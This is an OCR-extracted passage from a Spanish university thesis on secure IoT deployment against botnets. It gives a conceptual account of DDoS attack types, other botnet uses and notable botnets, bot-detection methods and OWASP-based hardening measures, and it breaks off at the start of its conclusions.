11.1. Ataques DDoS:

11.1.1. Descripcion del ataque DDoS.

Los recursos de red tienen un limite finito de solicitudes que pueden
atender al mismo tiempo. Ademas del limite de capacidad del servidor, el canal
que conecta el servidor a Internet tiene un ancho de banda limitado. Cuando la
cantidad de solicitudes sobrepasa los limites de capacidad de cualquiera de los
componentes de la infraestructura, el nivel de servicio probablemente se vea
afectado de alguna de las siguientes maneras: lentitud en la respuesta de las
solicitudes de los cliente, o bien, no se trata directamente la solicitud del cliente.
[30]

Para lanzar un ataque DDoS, los atacantes utilizan malware para crear
una red de bots, a su vez, cada dispositivo infectado es capaz de propagar el
malware a otros dispositivos para amplificar las dimensiones de un ataque. Una
vez que se ha creado la botnet, se envian instrucciones remotas a la misma,
indicandole que se envien solicitudes y trafico a un servidor, sitio web, aplicacion
web, API o recurso de red objetivo. Esto crea una cantidad excesiva de trafico
que provoca una denegacion de servicio, impidiendo que el trafico legitimo llegue

a su destino previsto.

Un ejemplo concreto de un ataque DDoS puede ser el de impedir a un
usuario que acceda a un sitio web, compre un producto o servicio, vea un video
o interactue en redes sociales. Incluso en el ambito organizacional, no poder

disponer de los sistemas funcionando correctamente, puede provocar la

30 Distributed Denial of Service: Denegacion de servicio distribuida.
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disrupcién de la continuidad operativa con las consecuencias econdmicas y

reputacionales que ello conlleva.

DDoS Botnet
F 5
T R
~., BN () (e
S [ =7} == ] erver becomes
Attacker E * ] [ __ : iwerwhilmudand
: - |: = J [ ] unresponsive
El == o "
Controller [ (=
=iy
=) Vieti
% [ﬁﬁ‘ ictim _ DDoS attack
h ™ floode & server
Zombies

Figura 49. Ataque DDoS. [31]

11.1.2. Finalidad del ataque DDoS

Los ataques DDoS se pueden lanzar por diferentes motivos:

e Hacktivismo: los atacantes pueden dirigir un ataque DDoS contra
empresas o sitios web con los que tienen desacuerdos filosoficos o

ideoldgicos.

e Guerra cibernética: los gobiernos pueden utilizar ciberamenazas como
los ataques DDoS para perjudicar la infraestructura critica de un

estado enemigo.

e Extorsion: los atacantes suelen utilizar amenazas DDoS para

extorsionar a las empresas a cambio de dinero.

¢ Entretenimiento: muchos ataques son lanzados por ciberdelincuentes
que simplemente quieren entretenerse causando conflictos, y a la vez,

para hacerse conocido en el ambiente bajo diferentes pseudénimos.

e Competencia empresarial: una empresa puede lanzar un ataque DDoS

a otra para obtener una ventaja competitiva. [32]
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11.1.3. Tipos de ataques DDoS

Cabe mencionar que principalmente existen cuatro diferentes tipos de

ataque DDoS:

1) Ataques a la capa de aplicacion: los ataques DDoS a la capa de
aplicacion (capa 7 del modelo OSI®Y) se dirigen a vulnerabilidades
especificas de las aplicaciones web con el fin de evitar que la
aplicacién funcione segun lo previsto. Estos ataques DDoS suelen
tener como objetivo los protocolos de comunicacion implicados en el
intercambio de datos entre dos aplicaciones a través de Internet.
Aunque son dificiles de prevenir y mitigar, se encuentran entre los
ataques DDoS mas faciles de lanzar. Los ataques mas comunes de

esta clase son:

o Inundaciones HTTP: explotan el protocolo HTTP de Internet que
se utiliza para cargar paginas web o enviar contenido a través de
Internet. Las inundaciones HTTP provocan que un servidor, un
sitio web o una aplicacion web se ralenticen o se bloqueen
saturandolos con un gran numero de solicitudes HTTP GET o
POST.

o Slowloris: un ataque DDoS de Slowloris esta disefiado para
saturar un servidor web al abrir y mantener muchas conexiones
HTTP simultaneas con un servidor de destino. Slowloris agota los
recursos del servidor con solicitudes que parecen mas lentas de
lo habitual, pero que de otro modo parecen ser trafico estandar.
Los atacantes aprovechan una funcién exclusiva del protocolo
HTTP: la capacidad de los clientes de dividir las solicitudes GET
o POST en varios paquetes. Un ataque Slowloris compromete el
servidor web objetivo abriendo varias conexiones vy
manteniéndolas abiertas todo el tiempo posible. Esto se consigue

enviando solicitudes HTTP parciales que nunca se completan.

31 Open System Interconnection Model, Modelo de Interconexidon de Sistemas Abiertos.
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2) Ataques de protocolo: los ataques de protocolo explotan las
debilidades y las vulnerabilidades de los protocolos de
comunicaciones de Internet de las capas 3 y 4 del modelo de OSI.
Estos ataques intentan consumir y agotar la capacidad informatica de
diversos recursos de infraestructura de red, como servidores o
firewalls, a través de solicitudes de conexion malintencionadas que
vulneran el protocolo de control de transmisién (TCP) o los protocolos
del Protocolo de control de mensajes de Internet (ICMP). Los dos

casos mas comunes son los siguientes:

o Inundacién SYN: una de las principales maneras en las que las
personas se conectan a las aplicaciones de Internet es a través
del TCP. Esta conexion requiere un protocolo de negociacién en
tres pasos desde un servicio TCP, como un servidor web. Los
pasos incluyen enviar un paquete SYN (sincronizacién) desde el
lugar en que el usuario se conecta al servidor, después devolver
un paquete SYN-ACK (confirmacion de sincronizacion), vy
finalmente recibir un mensaje ACK (confirmacién) final como
respuesta para completar el protocolo de negociacion de TCP.
Durante un ataque por inundacion SYN, un cliente
malintencionado envia un gran volumen de paquetes SYN (primer
paso de una negociacion normal), pero nunca llega a enviar la
confirmacién para completar la negociacion. Esto deja al servidor
esperando una respuesta a estas conexiones TCP semiabiertas.
Finalmente, el servidor se queda sin capacidad para aceptar
nuevas conexiones para los servicios que realizan un seguimiento

de los estados de conexion.

o Ataque DDoS Smurf: una gran cantidad de paquetes de protocolo
de ICMP con la IP de origen falsificada de un destino se transmiten
a una red informatica mediante una direccion IP de difusién. De
forma predeterminada, la mayoria de los dispositivos de una red

responderan enviando una respuesta a la direccion IP de origen.
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Segun el numero de equipos de la red, puede que el ordenador
de la victima se ralentice en extremo debido a la inundacion de

trafico.

3) Ataques por amplificacion/reflexion de DNS®?: el atacante aprovecha
los servidores DNS vulnerables para enviar grandes volumenes de
trafico legitimo al servidor objetivo. Uno de los principales beneficios
de este método de ataque, es que el atacante se esconde detras de

una direccion IP legitima.

4) Ataques volumétricos: los ataques DDoS basados en el volumen se
dirigen a las capas 3 y 4 de OSI, saturando al objetivo con una
inundacién de trafico procedente de diferentes origenes vy, finalmente,
consumiendo todo el ancho de banda disponible del objetivo, lo que
hace que este se ralentice o se bloquee. Los ataques volumétricos
suelen utilizarse para desviar la atencion de otros tipos de ataques

DDoS o ciberataques mas peligrosos.

o Inundaciones UDP: se suelen elegir para ataques DDoS que
consumen un mayor ancho de banda. Los atacantes intentan
sobrecargar los puertos en el host objetivo con paquetes IP que
contienen el protocolo UDP. A continuacion, el host objetivo busca
aplicaciones que estén asociadas con los paquetes UDP v,
cuando no las encuentra, envia el mensaje "destino inalcanzable"
al remitente. Las direcciones IP a menudo se falsifican para que
el atacante permanezca anénimo y, una vez que el host objetivo
se inunda con el trafico del ataque, el sistema deja de responder

y de estar disponible para usuarios legitimos.

o Inundaciones ICMP: se utiliza principalmente para los mensajes
de error y, por lo general, no intercambia datos entre sistemas.
Una inundacion ICMP es un método de ataque DDoS con una
infraestructura de capa 3 que utiliza mensajes ICMP para

sobrecargar el ancho de banda de la red objetivo. [32]

32 Domain Name System: Sistema de Nombres de Dominio
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Cabe destacar que actualmente, en el mercado se encuentran distintas
soluciones que permiten prevenir con gran eficacia este tipo de ataques. Algunas
de las mas populares, por ejemplo, son Prolexic (Akamai) o FortiDDoS (Fortinet).
Su funcionamiento radica en redirigir el trafico entrante a la solucién contratada,
alli se lo inspecciona en busqueda de posibles paquetes provenientes de
diferentes botnets, separando dicho trafico del legitimo. Realizada esta tarea, se
reenvia el trafico seguro a la red de la empresa y/o cliente que contratd la
solucion. [33]

PROLEXIC REFERENCE ARCHITECTURE
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Figura 50. Prevencion de DDoS con Prolexic (Akamai). [34]

11.2. Spam y Phishing

Los nodos de una botnet también pueden ser utilizados para lanzar
campafas masivas de spam y phishing por correo electrénico. Estos correos
electronicos pueden contener enlaces o archivos adjuntos maliciosos que
instalan el software de la botnet, propagandose aun mas y ampliando su alcance.

También pueden enganar a los usuarios para que revelen informacion personal
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o credenciales de inicio de sesidén. Las botnets también pueden difundir
mensajes de spam a través de otros métodos, como publicaciones en foros de

Internet o comentarios en blogs.

11.3. Mineria de criptomonedas

Por ultimo, algunos atacantes utilizan botnets para obtener ganancias
financieras, por ejemplo a través de campanas de mineria de criptomonedas.
Las criptomonedas como Bitcoin requieren una gran capacidad computacional
para crear nuevas unidades, un proceso conocido como mineria. Los atacantes
pueden usar una botnet para aprovechar la potencia de procesamiento de las
maquinas bajo su control, generando nuevas monedas para si mismos, mientras
que los propietarios de las maquinas pagan el costo en forma de mayor consumo
de electricidad. [35]

Af ‘s

ARM

PostgreSQL

Initial compromise

Figura 51. Ataque de Cryptocurrency mining con botnet. [36]

11.4. Fraude publicitario

Los atacantes pueden utilizar las maquinas de una botnet para simular de
manera maliciosa la actividad de usuarios reales. Por ejemplo, una botnet puede
perpetuar el denominado "fraude de clicks", en el que las maquinas de la botnet

hacen clic repetidamente en los enlaces o botones de una campana publicitaria.
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Dado que los anunciantes pagan por cada usuario que hace clic en un anuncio
(modelo de pago conocido como pay-per-click o PPC), este tipo de ataque puede
ser utilizado para danar significativamente los presupuestos publicitarios de los
competidores. Las botnets también pueden usarse para aumentar artificialmente
la popularidad de cierto contenido en un sitio web, otorgandole vistas, likes o

votos positivos.
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12. Ataques significativos de botnets a lo largo de la
historia

La utilizacion de botnets se remonta hacia el afio 2.000, cuando surgieron
las primeras redes de este tipo. A continuacion, se presentara el detalle de los
hitos mas destacados desde su surgimiento, ya sea por su trascendencia en
términos de la magnitud de dafios causados o cantidad de bots reclutados, o
bien, por disponer de nuevas caracteristicas que lo hacen superior respecto a

Sus predecesores.

Evolucion de las botnets
2000 2007 2008 2009 2011-2012 2014 2016-2018
W - \ -
EarthLink Spammer Cutwail Kraken BredoLab ZeroAccess Gameover ZeuS Methbot
Storm Mariposa Skynet (atin Mirai
Zeus/Zbot activa) 3ve

Figura 52. Evolucién de las botnets.

e EarthLink Spammer: fue uno de los primeros ataques de botnets. Los
atacantes se involucraron en el phishing, un elemento crucial de los
ataques de botnets, y enviaron correos electronicos que pretendian ser
de sitios web conocidos. Estos ataques de phishing engafiaron a los
usuarios para que entregaran informacion sensible, incluidos nombres

de usuario, contraseias y numeros de tarjetas de crédito.

e Cutwail: involucré a sistemas Windows, utilizandolos para enviar el
troyano Pushdo, que convertia a las computadoras en spambots33. En
su pico maximo, llegd a enviar mas de 74 mil millones de correos

electronicos al dia.

e Storm: se origind mediante la diseminacion del gusano Storm, un
malware de tipo troyano distribuido por medio de correos electronicos
infectados. Se estim6 que en septiembre de 2007 esta botnet estaria
constituida por millones de computadoras. Fue identificada por primera

33 Programa informatico disefiado para ayudar en el envio de spam.
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vez en enero de 2007, en un punto abarco el 8% de todo el malware

de las computadoras bajo el sistema operativo Microsoft Windows.

e Zeus/Zbot: obtuvo acceso a la informacion bancaria de los usuarios.
En un momento, Zeus fue responsable del 90% de todo el fraude
relacionado con bancos en linea y causo6 pérdidas a sus victimas por
mas de 120 millones de dodlares. Al igual que muchos ataques de
botnets, Zeus ha evolucionado desde su lanzamiento inicial y sigue

activo hoy en dia.

e Kraken: obtuvo acceso a cientos de miles de computadoras,
incluyendo al menos 50 de las 500 empresas mas grandes del mundo.
En su punto maximo, cada bot enviaba hasta 500.000 correos
electronicos de spam por dia, lo que lo convirtié en el mas grande del

mundo en ese momento.

e Mariposa: estuvo involucrada en el robo de informacion personal y en
ataques DDoS. Aunque finalmente captur6 mas de 12 millones de
direcciones IP e infecté a mas de un millon de computadoras, pudo ser

desactivada en diciembre de 20009.

e BredolLab: poseia mas de 30 millones de equipos infectados al mes de
julio del 2009. Dichos equipos habian sido infectados con el troyano
“Win32/TrojanDownloader.Bredolab” por lo cual reportaban a alguno
de los 143 servidores maliciosos que conformaban la botnet en
cuestidén, recibiendo instrucciones directamente de los usuarios
maliciosos por medio de estos. Una particularidad de la botnet
Bredolab es que era utilizada para brindar servicios de "pay per install"
(pago por instalacion), que significa que los botmasters alquilaban la
botnet a desarrolladores de malware que tuvieran problemas
diseminando sus propias amenazas para luego cobrarles por cada

instalacion realizada.
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o ZeroAccess: afectaba a los sistemas operativos Microsoft Windows,
teniendo capacidades de rootkit®*. Se estima que la botnet contd con
mas de dos millones de nodos, los cuadles eran principalmente

utilizados para minar criptomonedas y fraude en campafas online.

e Skynet: es una variante de Zeus empleada para ataques DDoS y
mineria de bitcoin, que cuenta con servidores C&C centralizados
ocultos detras de un dominio .onion dentro de la red TOR. Todo el
trafico se enruta hacia esta red mediante un proxy SOCKS instalado
localmente en cada una de las victimas. Actualmente se encuentra
activa, y fue utilizada recientemente (a mediados de 2023) para

realizar ataques a Microsoft, X y OpenAl. [37]

e Gameover ZeuS: adicionalmente al componente original de Zeus,
pensado para robar cuentas financieras, GameOver Zeus es una
variante avanzada con un componente de ransomware. Por lo tanto,
no solo es un malware que roba credenciales bancarias mediante una
funcién de keylogger y cédigos de inyeccion web, sino también, que
se lo utilizé para distribuir el ransomware CryptoLocker. Esta botnet

funcionaba de manera descentralizada con protocolos P2P.

e Methbot: se llegaron a reproducir entre 200 y 400 millones de
visualizaciones de anuncios de video por dia utilizando mas de 2.000
servidores diferentes con mas de 650.000 direcciones IP residenciales
que simulaban ser usuarios finales reales. Se estima que el esquema
generaba entre 3 y 5 millones de ddlares al dia en ingresos por

publicidad para sus operadores. [38]

e Mirai: aprovecha los problemas de seguridad de los dispositivos 10T, y
tiene el potencial de convertir el poder colectivo de millones de
dispositivos loT en botnets, y lanzar ataques. Los creadores de dicha
botnet fueron apresados, acusados de alquilar su botnet para ataques
DDoS y fraudes de clics. [39]

34 Software malicioso disefiado para darle a un atacante la capacidad de introducirse en un
dispositivo con permiso administrador.
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e 3ve: utilizaba los paquetes de malware Boaxxe y Kovter para infectar
las computadoras. Se difundieron a través de correos electrénicos y
descargas de software ilegal y, una vez que infectaban los equipos, los
bots generaban clicks falsos en anuncios en linea. Los bots podian
imitar el comportamiento de un usuario humano (por ejemplo,
movimiento irregular del cursor) para evadir la deteccion. En su
momento mas importante, la botnet controlaba mas de un millén de
direcciones IP residenciales y corporativas, principalmente en Europa
y América del Norte. [40]
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13. Métodos de deteccidn de bots

Respecto a los métodos de deteccion de bots, en primer lugar, surgieron
los denominados interactivos con desafios CAPTCHA?3®, y luego, los métodos de
deteccion transparentes. Estos ultimos difieren de los primeros, no requiriendo
interaccion del usuario y se enfocan en identificar el sistema que realiza la

solicitud y detectar anomalias generalmente asociadas con trafico malicioso. [41]

13.1. Métodos interactivos

Los métodos de deteccion interactivos, mas conocidos como CAPTCHASs,
estan disefiados para presentar un acertijo simple con el que el usuario debe
interactuar y resolver para demostrar que es humano. A lo largo de los afios se
han inventado diferentes tipos de acertijos, los cuales se describiran a

continuacion:

e Word Puzzles (o acertijos de palabras): Fueron inventados por primera
vez en 1997 y progresivamente adoptados por empresas como PayPal a
principios de la década de 2000 para protegerse contra el fraude. Uno de
los despliegues mas extendidos fue reCAPTCHA, lanzado en 2007 y
adquirido por Google en 2009. reCAPTCHA ayudoé a proteger sitios web
contra la automatizacion y, al mismo tiempo, ayudé a digitalizar libros del
dominio publico. A los usuarios se les presentaba una serie de caracteres
alfabéticos que debian escribir en un campo para acceder a los recursos

protegidos.

El sistema se basaba en la tecnologia de reconocimiento éptico de
caracteres (OCR) para validar la respuesta del usuario. Sin embargo, a
medida que la tecnologia OCR mejoraba, los estafadores también la

utilizaban para automatizar la resolucion de acertijos.

Para compensar esto, las soluciones CAPTCHA fueron mejoradas

afiadiendo varios tipos de distorsiones, esquemas de colores y fondos

35 Completely Automated Public Turing test to tell Computers and Humans Apart: test de Turing
publico y automatico para distinguir a los ordenadores de los humanos.
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ruidosos a la cadena de caracteres para dificultar el reconocimiento por
parte de las maquinas. El problema es que esto también hizo que fuera
significativamente mas dificil y frustrante para los humanos reconocer los

caracteres.

20382V ADXO
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Figura 53. Ejemplos de CAPTCHAs de acertijos de palabras. [41]

e Image Puzzles (acertijo de imagenes): Fueron introducidos para
compensar la evolucién de la tecnologia OCR y hacer que los CAPTCHAs
fueran mas amigables para los humanos. reCAPTCHA introdujo la version
2 con acertijos de imagenes en 2012. A los usuarios se les presentaba
una descripcidon y un conjunto de imagenes y estos debian seleccionar las

que correspondian a la descripcion para completar el acertijo.

La introduccién de esta nueva variante tomd por sorpresa a los
operadores de bots, ya que sus botnets equipadas con OCR no podian
manejar los acertijos de imagenes. Sin embargo, la visidbn por
computadora mejoré drasticamente con modelos preentrenados como
ResNet, que reconocen diversos objetos, puntos de referencia o animales
de forma inmediata. Esto hizo que el reconocimiento de imagenes fuera
mas accesible para todos, incluyendo las nuevas botnets herramientas

para completar correctamente estas pruebas.
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Figura 54. Ejemplos de CAPTCHASs de acertijos de imagenes. [41]

e Mini-juegos: Al mismo tiempo en que aparecieron los acertijos de
imagenes, empresas como “Are You a Human” introdujeron una
alternativa diferente a los acertijos CAPTCHA con mini-juegos. Estos
pueden ser una interaccion divertida para los usuarios, pero también
pueden generar molestias si estos tienen que pasar por el proceso varias

veces durante una sesion mientras interactuan con un sitio.

Put the animals on the ground.

Touch the arrows
Ol the DA

#‘ﬂ 4~ EB0 ¢|-=

Figura 55. Ejemplos de CAPTCHASs con mini juegos. [41]

e Desafios de comportamiento: La novedad de los mini-juegos y los
acertijos de imagenes perdié fuerza con el tiempo, ya que ultimamente no
estaban garantizando alta seguridad por los avances en las botnets, y a

la vez, eran molestos para los usuarios. Por otro lado, aunque eran
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populares en sitios de juegos, no eran ideales para sitios de banca

financiera o comercio electrénico.

Los propietarios de sitios web buscaban soluciones que requirieran
la menor interaccidn posible para limitar la friccion, surgiendo en el 2014
la solucion de Google llamada “reCAPTCHA No CAPTCHA”, que solo
requeria que el usuario marcara una casilla. Durante esta simple
interaccion, el software recopila informacion de telemetria del lado del
cliente para evaluar el riesgo segun la huella digital del dispositivo y como
el usuario interactua con el desafio. Se tienen en cuenta la huella digital,
el movimiento del mouse, los eventos tactiles o las pulsaciones de teclas,
y en caso de detectar anomalias, el usuario puede ser desafiado con un

acertijo de imagenes.

I'm not a robot

¢’

\/ I'm not a robot ‘,}’

Figura 56. Ejemplos de reCAPTCHA No CAPTCHA. [41]

13.2. Métodos transparentes

Los métodos de deteccion transparentes hacen uso de diversos datos
recopilados del cliente a través de JavaScript o un SDK (Kit de Desarrollo de
Software) o aplicacion movil, asi como informacidon sobre como el cliente se
comunica con el servidor, principalmente a través de los protocolos HTTP, TCP,

IPy TLS. Estos métodos de deteccion no requieren interaccion del usuario.

Dentro de los métodos transparentes se pueden mencionar los siguientes,

de acuerdo con el orden cronoldgico en el que fueron surgiendo:

e Web Application Firewall (WAF): Alrededor de 2010, los ataques
provenian principalmente de pequefas botnets, que consistian en unos
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pocos nodos, y los scripts® que ejecutaban eran simples. La tasa de
solicitudes de la botnet solia ser muy alta, por lo que detectarlas y
bloquearlas era relativamente sencillo. Lo unico que se necesitaba en este
escenario era un firewall de aplicaciones web (WAF) con capacidades de
bloqueo de IP y limitacion de tasa, asi como la capacidad de crear reglas

personalizadas.

Debido a que el numero de nodos dentro de la botnet era pequefio,
los profesionales de la seguridad web podian simplemente agregar
direcciones IP individuales a una lista de bloqueo. Incluso podian
implementar una limitacion de tasa con un umbral bajo en los recursos
criticos, de manera de detectar automaticamente y mitigar los clientes que

enviaban solicitudes a alta velocidad.

Finalmente, debido a que los scripts eran tan simples, la firma del
encabezado HTTP se veia muy diferente de lo que se espera de una
solicitud regular de navegadores legitimos como Chrome o Firefox.
Desarrollar y agregar una regla personalizada en la politica del WAF era

lo suficientemente facil como para bloquear la actividad de los bots.

o Gestion de bots: Alrededor del aino 2012, a medida que los WAFs se
implementaban comunmente para proteger sitios web, los operadores de
bots evolucionaron sus botnets. Estas se hicieron mas grandes y sus
scripts mas avanzados. En lugar de unos pocos nodos, una botnet
consistia en varios cientos de nodos. De esta manera, el ciberdelincuente
podia distribuir el trafico, reducir la velocidad de solicitudes de cada nodo,
derrotar cualquier intento de control de tasa y hacer ineficaz la estrategia

de bloqueo de IP.

La firma del encabezado también se mezclaba mas con las
solicitudes de navegadores reales y se volvia mas compleja. Los
operadores de bots disefaron sus botnets para aleatorizar caracteristicas
especificas del dispositivo, como el valor del encabezado HTTP User-
Agent.

36 Conjunto de instrucciones escritas en un lenguaje de programacion.

Pagina 88 de 101



Trabajo Final de Especializacion

Implementacion Segura de Redes loT: Aspecto
Fundamental en la Prevencién de Generacién de Botnets

Este cambio en la estrategia de ataque obligé a los defensores a
actualizar continuamente sus reglas personalizadas de WAF para
mantenerse al dia con la evolucién de los ataques. En este punto, se
requerian productos diseiados especificamente para detectar bots. Si
bien las soluciones de gestion de bots necesitaban los métodos basicos
de deteccion de un WAF, también nuevos técnicas disefadas
especificamente para detectar bots, incluyendo la capacidad de calcular
la reputacion de la direccion IP, evaluar el soporte para JavaScript,

recopilar una huella digital y detectar anomalias tipicas del trafico de bots.

La empresa Distil Networks fue pionera en este campo e introdujo
su producto de gestidon de bots en 2011. Tras el fuerte interés de empresas
de comercio electronico, viajes y hosteleria, otros proveedores de
seguridad web como Akamai Technologies y Cloudflare siguieron su

ejemplo.

e Gestion avanzada de bots: En el afio 2016, las soluciones de gestion de
bots se convirtieron en el producto preferido para proteger sitios web
contra bots. Esto obligé a los operadores de bots a mejorar sus scripts
para derrotar los nuevos meétodos de deteccion. Para superar la
reputacion de IP, aumentaron el tamafo de sus botnets a miles de nodos,

lo que hizo que la reputacion de IP fuera mucho menos efectiva.

Los operadores de bots también encontraron formas de imitar la
ejecucion del JavaScript del administrador de bots al obtener huellas
digitales validas de sistemas legitimos y reproducirlas desde su botnet.
Los operadores de bots mas avanzados entendieron que las huellas
digitales se utilizaban para identificar a los usuarios de forma unica. Para
derrotar estas técnicas, los atacantes aleatorizaron los puntos de datos
de la huella digital para hacer que cada solicitud pareciera provenir de un

usuario diferente.

Adicionalmente a las herramientas que existian al momento, se
requerian soluciones de gestidn de bots mas avanzadas, que incluyeran

otros métodos adicionales, como la recoleccidon de datos mas avanzada
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del lado del cliente, la tecnologia de validacion de huellas digitales, asi
como técnicas avanzadas como la prueba de trabajo para forzar la

ejecucion de JavaScript.

e Deteccion avanzada de abusos y fraudes: Los atacantes encontraron
eficiencia aprovechando el numero cada vez mayor de servicios de
proxies3’ anonimos o redes privadas virtuales (VPN) baratas que surgian

en todo el mundo.

Para superar los métodos de deteccion de prueba de trabajo e
inteligencia del dispositivo, algunos de los operadores de bots mas
avanzados equiparon sus botnets con un motor de ejecucion de
JavaScript minimo como Js2Py, que convierte el cédigo JavaScript en
cédigo Python. Otros actualizaron sus botnets con tecnologia de
navegador sin interfaz de usuario para ejecutar JavaScript de forma
nativa, reduciendo asi la eficacia de los métodos de prueba de trabajo y

de reputacion del dispositivo.

Debido a esto, se requerian nuevamente actualizaciones mas
avanzadas en las herramientas, incluyendo la deteccion de
comportamiento y de navegadores sin interfaz grafica. Se necesitaban
meétodos mas complejos de ofuscacion del cédigo JavaScript y de la carga
util de la huella digital para forzar al cliente a ejecutar JavaScript. Para
detectar mejor los navegadores sin interfaz grafica, se desarrollaron
métodos avanzados de huella digital del cliente para detectar las botnets
mas complejas. La deteccion biométrica de comportamiento, procesando
los movimientos del raton, los eventos de pulsacidn de teclas del teclado
o los sensores de movimiento de dispositivos moviles, ayudaba a verificar

si un humano estaba interactuando con la maquina.

Los equipos de seguridad web no pueden basarse en métodos de
deteccién simples, asumiendo que solo seran atacados por bots simples.

Los bots pueden evolucionar rapidamente su estrategia cuando su

87 Un servidor proxy es un dispositivo o programa que actlia como intermediario entre un
ordenador y la red, permitiendo la conexion a internet de forma indirecta.
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actividad es mitigada. Para hacer frente a los mismos, es requerida la

combinacion de las técnicas de deteccion descriptas anteriormente, tal
como se muestra en la siguiente figura.

Detection engine = Decision engine

g,
>

Response strategy

]
<

@

Challenge
(CAPTCHA)

Transparent
detection layer

Allow

Figura 57. Diagrama de deteccion de botnets. [41]

A modo de resumen, se presenta a continuacion un esquema que permite

observar las técnicas de deteccion de bots que tienen los métodos mencionados:

Web Application Firewall (WAF)

@ I
IPrate Traffic filtering/
blockhst limiting  custom rule

Gestién de bots

IPrate  Traffic filtering/ P
blockl;st limiting custom rule reputation

Test JavaScript Anomaly
support detection

Gestidén avanzada de bots
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A
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IPrate Traffic filtering/ Test JavaScript Anomaly Device Proof
blockllsl limiting custom rule repulahon support detection fingerprinting of work
Deteccion avanzada de abusos y fraudes
% v’ &)/ p
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7~ s " E 4T A
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IPrate Traffic filtering/ P Test JavaScript Anomaly Device Proof Behavioral Headless
blockhst limiting custom rule reputation support detection fingerprinting of work biometric browser

Figura 58. Técnicas de deteccién de bots por método empleado. [41]
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14. Medidas de seguridad para la implementacion de
redes loT seguras

En funcion de las vulnerabilidades en loT identificadas por OWASP,
mencionadas en la seccion “8. Principales amenazas y vulnerabilidades”, se
procede a mencionar medidas y buenas practicas de seguridad que permitan

eliminar o reducir los riesgos inherentes de los dispositivos a un nivel aceptable:

e Contrasefas débiles, faciles de adivinar o embebidas en el codigo: utilizar
contrasefias que reunan una serie de requisitos de complejidad tales
como: un minimo de 15 caracteres de longitud, empleando palabras o
frases dificiles de adivinar y que no deriven de datos personales ni
actividades o cosas vinculadas al usuario y nunca reutilizar contrasefias
en varias cuentas. La contrasefia debe incluir letras minusculas y

mayusculas, simbolos y numeros. [42]

Por otro lado, los fabricantes de los dispositivos 10T, deberian adoptar
medidas de seguridad para asignar por defecto contrasefias seguras y
aleatorias, de manera que no existan dos dispositivos de una misma
marca y modelo que posean la misma clave. Adicionalmente, se deberia
incentivar al cliente que adquiere el dispositivo, a cambiar la contrasefa

que tiene por defecto previo al primer uso. [43]

e Servicios de red inseguros: efectuar un escaneo y analisis de los puertos
que posee el dispositivo, haciendo especial énfasis en los que se
encuentran activos. Verificar si tales puertos son realmente requeridos
para el normal funcionamiento, caso contrario, deben deshabilitarse. Se
debe hacer especial énfasis en aquellos puertos que permiten servicios

de acceso remoto, que tal vez no son necesarios.

e Ecosistema de interfaces inseguras: algunas de las medidas que se
pueden considerar para subsanar las debilidades referidas al presente
aspecto son el parcheo constante de las APls, la implementacion de

controles de acceso estrictos para limitar el acceso a las mismas, el
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despliegue de canales de comunicacion seguros entre los diversos

componentes del ecosistema |oT y la adopcion de métodos de cifrado.

e Ausencia de un mecanismo seguro para la actualizacién: se debe definir
un proceso para la actualizacion de los dispositivos, que incluya la
verificacion periddica de la version de firmware instalada, ciclo de vida y
parches desplegados por el fabricante para su implementacion,
mecanismo de roll-back o vuelta atras en caso que la actualizacién del
sistema operativo produzca errores o incompatibilidades y notificaciones
a los administradores en caso que un cambio de version del firmware

modifique configuraciones de seguridad.

e Utilizacion de componentes inseguros o desactualizados: estrechamente
vinculado al punto anterior, los administradores de los dispositivos loT
deben verificar periddicamente el estado de las versiones del software
empleado en todo el ecosistema loT. Debe darse prioridad a aquellos
parches que subsanan vulnerabilidades de seguridad de criticidad alta y
media. Adicionalmente, se debe mantener una adecuada concientizacion
y estar informado sobre casos de ataques a loT que puedan estar
ocurriendo en otras organizaciones con el fin de tomar las medidas

necesarias para reforzar la seguridad y prevenir posibles ataques.

¢ Insuficiente proteccion de privacidad: para hacer frente a esta
vulnerabilidad, se debe utilizar cifrado para proteger los datos sensibles
en almacenamiento y transmision, y solicitar el consentimiento del usuario

para la recopilacion o el uso de datos.

e Transferencia y almacenamiento de datos inseguro: tanto para el
almacenamiento de informaciéon como para la transferencia de la misma,
se deben incorporar métodos de cifrado que garanticen la integridad y

confidencialidad de la informacion.

e Deficiente gestidon de dispositivos: ademas de una adecuada gestion del
ciclo de vida y parcheado de los dispositivos (como se menciond
anteriormente), también se debe llevar a cabo una adecuada

administracién de los usuarios y permisos asignados, sistema de alertas

Pagina 93 de 101



Universidad de Buenos Aires Trabajo Final de Especializacién

1- Facultades de Ciencias Econdmicas, Implementacion Segura de Redes loT: Aspecto
/& Cs. Exactas y Naturales e Ingenieria. Fundamental en la Prevencion de Generacién de Botnets

ante cambios en la configuracion de seguridad, realizacion de
mantenimiento peridodico preventivo y analisis de capacidades de

respuesta en base a las necesidades de la operatoria.

e Configuraciones predeterminadas inseguras: previo a la puesta en
produccion de los diferentes dispositivos que conforman el ecosistema
loT, se debe hacer el correspondiente hardening® con el fin de
configurarlo en base a las mejores practicas de seguridad, a la vez,
permitiendo eliminar cualquier parametrizacion insegura que provenga
con el dispositivo de fabrica. Esto incluye también, la modificacion de los
usuarios que vienen cargados por defecto con su correspondiente

contrasefa.

e Debilidades en la seguridad fisica: algunas medidas que se pueden
adoptar para reforzar la seguridad de los dispositivos incluyen deshabilitar
o aislar puertos de depuracion, utilizarlos para la validacion de firmware,
adoptar mecanismos de deteccidén de manipulacion y no almacenar datos
sensibles en tarjetas de memoria extraibles. A su vez, en la medida de lo
posible, colocar los dispositivos |oT en lugares que no tengan publico
acceso e idealmente que se encuentren siendo monitoreados por

camaras de videovigilancia.

Adicionalmente a las medidas detalladas anteriormente basadas en el top
10 de OWASP de ataques de dispositivos 10T, debe mencionarse una de las mas
importantes ya que es transversal a todas, y se trata de la capacitacion y

concientizacion. Esta aporta los siguientes beneficios:

e Previenen infecciones: los usuarios capacitados tienen la capacidad de
identificar correos, enlaces y sitios web maliciosos que podrian llegar a

introducir malware en sus dispositivos.

e Mejoran las practicas de seguridad: son conscientes de tener que elaborar
contrasenas fuertes, mantener actualizado el software y disponer de un

software antivirus.

38 Proceso de asegurar un sistema mediante la reduccién de vulnerabilidades en el mismo.
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¢ Detectan senales de ataques: los usuarios capacitados pueden reconocer
comportamientos inusuales en sus dispositivos, como lentitud o uso

excesivo de datos.

¢ Fomentan la colaboracion con TI: facilitan la identificacion y reporte rapido

de amenazas.
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15. Conclusiones

Si bien la incorporacién de la tecnologia de loT esta presentando grandes
avances en el sector hogarefio como en el industrial, incluso se esta planteando
su utilizacién para la creacion de ciudades inteligentes y su posible combinacion
con la tecnologia blockchain e inteligencia artificial, esta presenta una serie de
